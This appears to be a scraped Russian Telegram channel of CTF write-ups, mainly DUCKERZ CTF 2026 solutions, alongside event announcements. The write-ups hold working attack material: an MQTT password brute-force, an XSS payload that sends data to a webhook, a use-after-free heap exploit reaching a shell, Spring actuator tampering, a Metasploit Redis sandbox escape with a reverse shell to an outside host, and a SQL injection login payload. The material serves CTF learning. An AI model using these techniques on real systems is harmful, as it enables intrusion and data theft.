Райтапы по CTF{2026}
Ir al canal en Telegram
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ 💬 Наш чатик: @writeup_chat ✍️ По любому вопросу можно писать мне: @freenameruuuu ✅ Таски решать тут: @writeup_ctf_bot
Mostrar más4 328
Suscriptores
+224 horas
+207 días
+11330 días
Archivo de publicaciones
4 327
Кто хочет кайфануть в Сочи, рекомендую залететь в топ 30!
Learning Bear в формате CTF (индивидуальный зачет).
28 февраля – 1 марта 12:00 МСК
Онлайн, участие возможно из любой точки России.
Топ-30 участников CTF получают гарантированное приглашение в финал Learning Bear в Сириусе на площадке НИЯУ МИФИ.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
4 327
Repost from TaipanByte CTF
TaipanByte’s Chart CTF уже через 2 дня!🤩
В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области информационной безопасности, открытое для всех желающих.
🟣Формат task-based
🟣Команды от 1 до 5 человек
🟣Время проведения с 13:00 14 февраля по 13:00 15 февраля (МСК).
Успейте зарегистрировать команду!⚠️
Регистрация будет прекращена 14 февраля 2026 в 13:00 МСК вместе с началом соревнований.
Важные моменты:
🟡Задания ориентированы преимущественно на новичков.
🟡Каждый участник с ненулевым результатом получит сертификат об участии в соревновании.
🟡Каждое задание будет доступно сразу на 2 языках. Русском и английском.
🟡Призовой фонд - 30 000₽ к вашим выплатам на Standoff Bugbouny
➡️ Место проведения
➡️ Техническая поддержка
📱 Канал |🐍 CTF Платформа
4 327
#duckerzctf2026 #Hardware
Утёнок в тумане [клик]
Автор: @hun7_0r_b3_hun73d
В задаче нам дается ссылка
mqtt://94.19.79.169:200121. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.
Команда:mosquitto_sub -h 94.19.79.169 -p 20012 -t '#' -vMQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик. Также в нем есть Wildcard‑топик (
#), который позволяет подписаться на все доступные топики.
Команда выше как раз выполняет подписку на все топики, которые есть в брокере.
2. Слушаем трафик. Пример того, что будет видно после подписки:
/sensors/humidity/data {"sensor": "humidity", "value": 28, "timestamp": 1770496341}
/sensors/pressure/data {"sensor": "pressure", "value": 20, "timestamp": 1770496342}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496348}
/announcements {"from": "Duck", "message": "duck_fan, where are you? quack!", "timestamp": 1770496349}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496349}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496353}
/sensors/pressure/data {"sensor": "pressure", "value": 30, "timestamp": 1770496378}
/announcements {"from": "Duck", "message": "i'm in /users/duck/secret", "timestamp": 1770496379}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496385}
Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в /users/duck/secret.
3. Из предыдущего шага можно понять имя пользователя, который нам нужен.
Если мы попробуем авторизоваться (при помощи флага -u duck_fan), брокер укажет на необходимость введения пароля.
Можно подобрать его подобной командой:
ncrack mqtt://94.19.79.169:20012 -user duck_fan -P ./rockyou.txt -v
В ответ получим, что пароль — iloveyou.
4. Авторизуемся с этим паролем:
-u 'duck_fan' -P 'iloveyou'и получаем флаг. Шаги 3–4 показаны на скриншоте. 💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
4 327
#duckerzctf2026 #Web
🥪 Сэндвич 2 [клик]
Автор: @fakedesyncc
Расшифровка текста: Trust no iframe, even your own — подсказка в самом флаге.
---
## Суть уязвимости
1. На сайте sandwich.duckerz.ru есть виджет обратной связи — iframe с feedback.duckerz.ru/widget.
2. Родительская страница (sandwich) и виджет (iframe) общаются через postMessage.
3. Виджет может отправить родителю сообщение
{ type: 'REQUEST_SALARY_DATA' }, и родитель отвечает сообщением { type: 'SALARY_DATA', payload: ... } с данными зарплаты (и флагом).
4. В виджете можно выполнить свой код (XSS), если удаётся вставить его в контент, который там рендерится. Один из способов — отправить Complaint (жалобу) через API feedback с HTML/JS в поле message. Когда эта жалоба отображается в контексте виджета, выполняется наш скрипт.
5. Скрипт: подписаться на message, отправить родителю REQUEST_SALARY_DATA, в ответ принять SALARY_DATA и отправить payload на свой webhook.
---
## Шаги решения
### 1. Создать webhook
- Зайти на https://webhook.site и скопировать свой уникальный URL (или создать токен).
### 2. Подготовить XSS-пейлоад
Код должен выполняться внутри iframe виджета (origin feedback.duckerz.ru):
- Слушать событие message.
- Если e.data.type === 'SALARY_DATA' — отправить e.data.payload на webhook.
- Отправить родителю parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*'), чтобы запросить данные.
Пример (подставить свой WEBHOOK):
<img src=x onerror="
window.addEventListener('message', function(e) {
if (e.data.type === 'SALARY_DATA') {
fetch('https://WEBHOOK.site/ТВОЙ-UUID?flag=' + encodeURIComponent(JSON.stringify(e.data.payload)));
}
});
parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*');
">
Однострочник для отправки через API:
<img src=x onerror="window.addEventListener('message',function(e){if(e.data.type==='SALARY_DATA')fetch('https://WEBHOOK?flag='+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:'REQUEST_SALARY_DATA'},'*');">
### 3. Отправить пейлоад в обратную связь (не в note перевода)
- Эндпоинт: POST http://feedback.duckerz.ru/api/feedback
- Тело (JSON): {"category":"complaint","rating":1,"message":"<твой HTML с img onerror>"}
Важно: отправлять именно в обратную связь (Complaint/Bug Report), чтобы сообщение отображалось в виджете (iframe). В note перевода контент показывается на дашборде sandwich (родитель), а ответ с salary приходит в iframe — перехватить там из note нельзя.
### 4. Дождаться выполнения
Когда жалоба будет открыта в интерфейсе, где контент рендерится внутри виджета (iframe feedback), выполнится наш скрипт: уйдёт запрос к родителю, придёт SALARY_DATA, данные уйдут на webhook.
### 5. Забрать флаг с webhook
В запросе к webhook в параметре flag (или в теле) будет JSON с payload. В нём — флаг
---
## Пример через curl
WEBHOOK="https://webhook.site/ТВОЙ-UUID"
PAYLOAD='<img src=x onerror="window.addEventListener(\'message\',function(e){if(e.data.type===\'SALARY_DATA\')fetch(\''"$WEBHOOK"'?flag=\'+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:\'REQUEST_SALARY_DATA\'},\'*\');">'
curl -X POST "http://feedback.duckerz.ru/api/feedback" \
-H "Content-Type: application/json" \
-d '{"category":"complaint","rating":1,"message":"'"$PAYLOAD"'"}'
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube4 327
#duckerzctf2026 #PWN
Девочка-волшебница [клик]
Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.
Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
* ♪ Удаляю записечку - прощай, старый секретик! ♪
* Освобождаю память заклинанием free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Какую записечку стереть? ♪ ");
scanf("%d", &entry_number);
if (entry_number < 0 || entry_number >= 32) {
puts("Нет такой записечки! ╮(╯_╰)╭");
return;
}
if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
return;
}
free(Diary.pages[page_number]->entries[entry_number]->content); /* Освобождаю память! */
free(Diary.pages[page_number]->entries[entry_number]);
}
План
Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса.
Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x") time.sleep(0.1) delete_entry(io, 1) time.sleep(0.1) create_entry(io, 0, 0x10, b"x")Теперь `entries[0].content == entries[1] Лик хипы Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись
0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](https://github.com/mdulin2/mangle) для восстановления адреса.
Arbitrary read
Теперь мы можем написать в entries[0].content, переписать указатель на content и size и прочитать/записать в/на entries[1]
def arbitrary_read(addr: int) -> int:
edit_entry(io, 0, p64(8) + p64(addr))
time.sleep(0.1)
res = u64(read_entry(io, 1)[:8])
time.sleep(0.1)
return res
def arbitrary_write(addr: int, data: bytes) -> int:
edit_entry(io, 0, p64(len(data)) + p64(addr))
time.sleep(0.1)
edit_entry(io, 1, data)
time.sleep(0.1)
Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из environ, затем со стека ликаем адрес самого бинаря.
Взлом
Самый простой способ получить шел: вызвать system("/bin/sh"), для этого перешем plt free на system и освободим запись с текстом "/bin/sh\x00".
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube4 327
#duckerzctf2026 #Reverse
Кристально ясное задание [клик]
На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
$ ./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: cc: CantUnpackException: l_info corrupted
Unpacked 1 file: 0 ok, 1 error.
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
589112 <- 192360 32.65% linux/amd64 cc
Unpacked 1 file
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.
Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.
Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с: d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a
По коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
idc.write_dbg_memory(idc.get_reg_value('r12'), bytes.fromhex('d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a'))
После этого запустим программу дальше и посмотрим что произошло.4 327
#duckerzctf2026 #Web
Национальная лотерея [клик]
Приложение на Spring, в котором реализован функционал лотереи. Выигрышный билет неизвестен, и угадать его практически невозможно.
С помощью инструмента dirsearch можно найти открытый actuator.
dirsearch -u "http://94.19.79.169:20001" -x 404
[03:17:49] 200 - 2KB - /actuator [03:17:49] 200 - 5KB - /actuator/env [03:17:49] 200 - 49B - /actuator/health [03:17:49] 200 - 2B - /actuator/info [03:17:49] 200 - 17KB - /actuator/configprops [03:17:49] 200 - 2KB - /actuator/metrics [03:17:49] 200 - 86KB - /actuator/conditions [03:17:49] 200 - 54B - /actuator/scheduledtasks [03:17:49] 200 - 21KB - /actuator/mappings [03:17:49] 200 - 126KB - /actuator/beans [03:17:49] 200 - 53KB - /actuator/loggers [03:17:49] 200 - 124KB - /actuator/threaddumpЗамечаем, что эндпоинты поддерживает POST запросы. Ответ на OPTIONS показывает:
Allow: GET, POST, OPTIONS. Это означает, что можно не только читать переменные окружения, но и изменять их.
curl -X POST http://94.19.79.169:20001/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"test.property","value":"test123"}'
Теперь нужно найти, какое свойство контролирует выигрышный билет. Логично предположить, что это lottery.winning.ticket. Далее можно просто заменить значение выигрышного билета в env на свой билет из профиля.
curl -X POST http://94.19.79.169:20001/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"lottery.winning.ticket","value":"ticket-c79b6292"}'
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube4 327
#duckerzctf2026 #Forensics
Врум-врум отменяется [клик]
Первым делом видим http запрос и возьмём его поток (рис. 1). Однако в нём нет и намёка на флаг, но мы знаем что пакеты будут в json формате, а значит можно воспользоваться поиском по слову.
Первым словом может быть DUCKERZ, но оно отсутствует, так что попробуем слово flag (рис. 2): Нашлась новая ручка /custom-message, в которой судя по всему побуквенно перечисляется флаг (custom_message_value).
Пробуем автоматизировать используя командную строку (рис. 3). И мы видим, что ничего лишнего не берётся. Воспользуемся awk и немного пошаманив получаем флаг:
strings VroomVroom.pcapng | grep flag | awk -F'=' '{ print $3 }' | awk -F'&' '{ print $1 }' | tr -d '\n'
Последним действием можно воспользоваться онлайн сервисом urldecode, или вручную поменять %7B и %7D на фигурные скобки
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube4 327
#duckerzctf2026 #Hardware
Заброшенный маяк [клик]
Открываем firmware.elf в IDA Pro. В окне Functions видим:
decrypt_flag (0x4B) — ключевая функция. main (0x7D) — основная программа eeprom_read_byte (0xDC) — чтение из EEPROMВ окне Structures видим сегменты:
.text — код программы .data — данные (адрес 0x800100) .eeprom — EEPROM данные (адрес 0x810000)Исследование функции decrypt_flag:
.text:0000004B decrypt_flag: ; CODE XREF: main+F↓p .text:0000004B push r12 .text:0000004C push r13 .text:0000004D push r14 .text:0000004E push r15 .text:0000004F push r16 .text:00000050 push r17 .text:00000051 push YL .text:00000052 push YH .text:00000053 movw r12:r13, r24:r25 .text:00000054 movw r16:r17, r24:r25 .text:00000055 ldi YL, 0 .text:00000056 ldi YH, 0 .text:00000057 mov r0, ZH .text:00000058 ldi ZH, 5 .text:00000059 mov r14, ZH .text:0000005A mov r15, r1 .text:0000005B mov ZH, r0 .text:0000005C .text:0000005C loc_5C: ; CODE XREF: decrypt_flag+26↓j .text:0000005C movw r24:r25, Y .text:0000005D subi r24, 0 .text:0000005E sbci r25, 0 .text:0000005F call eeprom_read_byte .text:00000061 mov r18, r24 .text:00000062 movw r24:r25, Y .text:00000063 movw r22:r23, r14:r15 .text:00000064 call _div .text:00000066 movw Z, r24:r25 .text:00000067 subi ZL, 0 .text:00000068 sbci ZH, -1 .text:00000069 ld r24, Z .text:0000006A eor r24, r18 .text:0000006B movw Z, r16:r17 .text:0000006C st Z+, r24 .text:0000006D movw r16:r17, Z .text:0000006E adiw Y, 1 .text:0000006F cpi YL, 0x1F .text:00000070 cpc YH, r1 .text:00000071 brne loc_5C .text:00000072 movw Z, r12:r13 .text:00000073 std Z+0x1F, r1 .text:00000074 pop YH .text:00000075 pop YL .text:00000076 pop r17 .text:00000077 pop r16 .text:00000078 pop r15 .text:00000079 pop r14 .text:0000007A pop r13 .text:0000007B pop r12 .text:0000007C ret .text:0000007C ; End of function decrypt_flagКлючевые моменты: - Чтение из EEPROM - Операция XOR (eor инструкция) - Ключ длиной 5 байт (делитель = 5) Переходим к сегменту .data (адрес 0x800100):
.data:00800100 xor_key: .db 0x37, 0x42, 0x15, 0x7A, 0x2F ;Переходим к сегменту .eeprom (адрес 0x810000):
.eeprom:00810000 encrypted_flag: .db 0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E, 0x3F .eeprom:00810009 .db 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44, 0x31, 0x25 .eeprom:00810012 .db 8, 0x4A, 0x13, 0x1D, 0x22, 0x12, 0x6A, 0x68, 4, 0x79 .eeprom:0081001C .db 0x4E, 0x44, 0x4A, 0Написание скрипта для расшифровки:
encrypted = bytes([
0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E,
0x3F, 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44,
0x31, 0x25, 0x08, 0x4A, 0x13, 0x1D, 0x22, 0x12,
0x6A, 0x68, 0x04, 0x79, 0x4E, 0x44, 0x4A, 0x00
])
key = [0x37, 0x42, 0x15, 0x7A, 0x2F]
flag = ""
for i in range(31):
flag += chr(encrypted[i] ^ key[i % 5])
print(f"Flag: {flag}")
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube4 327
#duckerzctf2026 #Misc
Редиска [клик]
Flask-приложение с Redis. Имитация старой системы "Enterprise Logic Pro 2000". Сразу обращаем внимание на версию Redis, используемую на сервере. Это Redis 5.0.7. Он не защищен паролем (
requirepass пустой), что позволяет любому пользователю отправлять команды без аутентификации, но флага там нет.
Эта версия Redis уязвима к CVE-2022-0543. Это критическая RCE-уязвимость в Redis для Debian и Ubuntu, позволяющая выполнить произвольный код на сервере через обход ограничений Lua-песочницы.
msfconsole
use exploit/linux/redis/redis_debian_sandbox_escape
На сервере с белым IP открываем listener на 4444 порту
nc -lvnp 4444
set RHOSTS 94.19.79.169
set RPORT 20004
unset PASSWORD
set LHOST 45.140.19.200
set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
set ForceExploit true
Получаем rev-shell на тачке с Redis. Флаг находится в корне
cat ../../flag.txt
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube4 327
#duckerzctf2026 #Web
Клиника [клик]
Уязвимость Second-Order SQL Injection в обработчике /update-password. Хотя регистрация и вход используют параметризованные запросы, имя пользователя из сессии подставляется в SQL-запрос обновления пароля через обычную шаблонную строку.
Это позволяет использовать «отравленный» логин для атаки на базу данных. Регистрируем аккаунт с пейлоадом в качестве имени пользователя:
admin' --После входа под этим аккаунтом значение попадает в сессию. При смене пароля в настройках профиля сервер выполнит инъекцию: кавычка закроет поле username, а символы -- закомментируют остаток оригинального запроса. В результате SQL-запрос изменит пароль не нам, а администратору:
UPDATE users SET password = '[hash]' WHERE username = 'admin' --'
Заходим под admin с новым паролем и забираем флаг в панели управления.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube4 327
4 327
Repost from DUCKERZ
🔥 DUCKERZ CTF 2026 – ПОЕХАЛИ!
Соревнование DUCKERZ CTF 2026 официально началось! Желаем всем участникам удачи и успешного решения задач.
👉 Участвовать 👈
🐥Формат task-based
🐥Команды до 5 человек
🐥С 12:00 7 февраля по 12:00 8 февраля (МСК)
🐥Пример флага: DUCKERZ{c7f_b3g1n5}
🐥Бот поддержки: @duckerz_ctf_bot
🐥 Канал | 🐥 Чат | 🐥 Платформа | 🐥 Регистрация
4 327
Repost from InfoSec VK Hub
Всем привет!
А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...
Persik ICO Writeup
category: web, points: 400 Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен! Достаньте любой eligible-адрес и заберите флаг После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.Проверим включена ли introspection:
query { __schema { types { name kind fields { name type { name kind } } } } }Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }Выберем любой адрес и передадим его в checkAirdrop:
query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } } И получим флаг: { "data": { "checkAirdrop": { "address": "0x8ba1f109551bD432803012645aac136c22C19e00", "tokensClaimed": 3000, "airdropEligible": true, "flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}" } } }Опционально можно было использовать адрес администратора из admin query:
query AdminInfo { admin { secretKey vaultAddr } }На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах. Предыдущие разборы серии: 1 часть 2 часть 3 часть VK Security | Буст этому каналу #разбор #CTF
4 327
Друзья, я знаю, что вам не хватило времени задать свои вопросы Егору и именно поэтому мы решили провести СТРИМ поскриптум, где ответим на ваши вопросы!
Форма, куда можно отправить свой вопрос
https://forms.yandex.ru/u/6984a1da90fa7b1a56545f8c/
На всякий случай запись доклада, если кто не смотрел
https://rutube.ru/video/a54900346f6b71186397e2e232839c18/
Стрим проведем 13.02 включайте уведомления, чтобы не пропустить!
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
4 327
🖥 Напомню, что скоро будет DUCKERZ CTF 07.02, так что залетайте на регу!
А еще, райтапы от организаторов будут в нашем канале сразу после мероприятия...
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
4 327
💥 Записали митап по физическому пентесту — теперь всё лежит на RUTUBE.
29 января мы собрались в офисе Solar в Москве и поговорили про полный цикл физического пентеста: от OSINT и подготовки легенды до проникновения в офис и использования железа вроде O.MG Cable.
В плейлисте три доклада:
🔹 Егор Зайцев (@pro_pentest) — «Физический пентест: от OSINT до полной компрометации компании»
🔹 Андрей Зенин (Бастион) — «Физический пентест: этапы, практика и реальные кейсы»
🔹 Александр Хабибуллин (CyberOK) — «O.MG Cable: доверие к USB обернулось атакой»
Если интересен реальный физический редтимминг, социальная инженерия и практические кейсы с полей — залетай смотреть.
👉 Плейлист тут:
https://rutube.ru/plst/1456882/
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
¡Ya disponible! Investigación de Telegram 2025 — los principales insights del año 
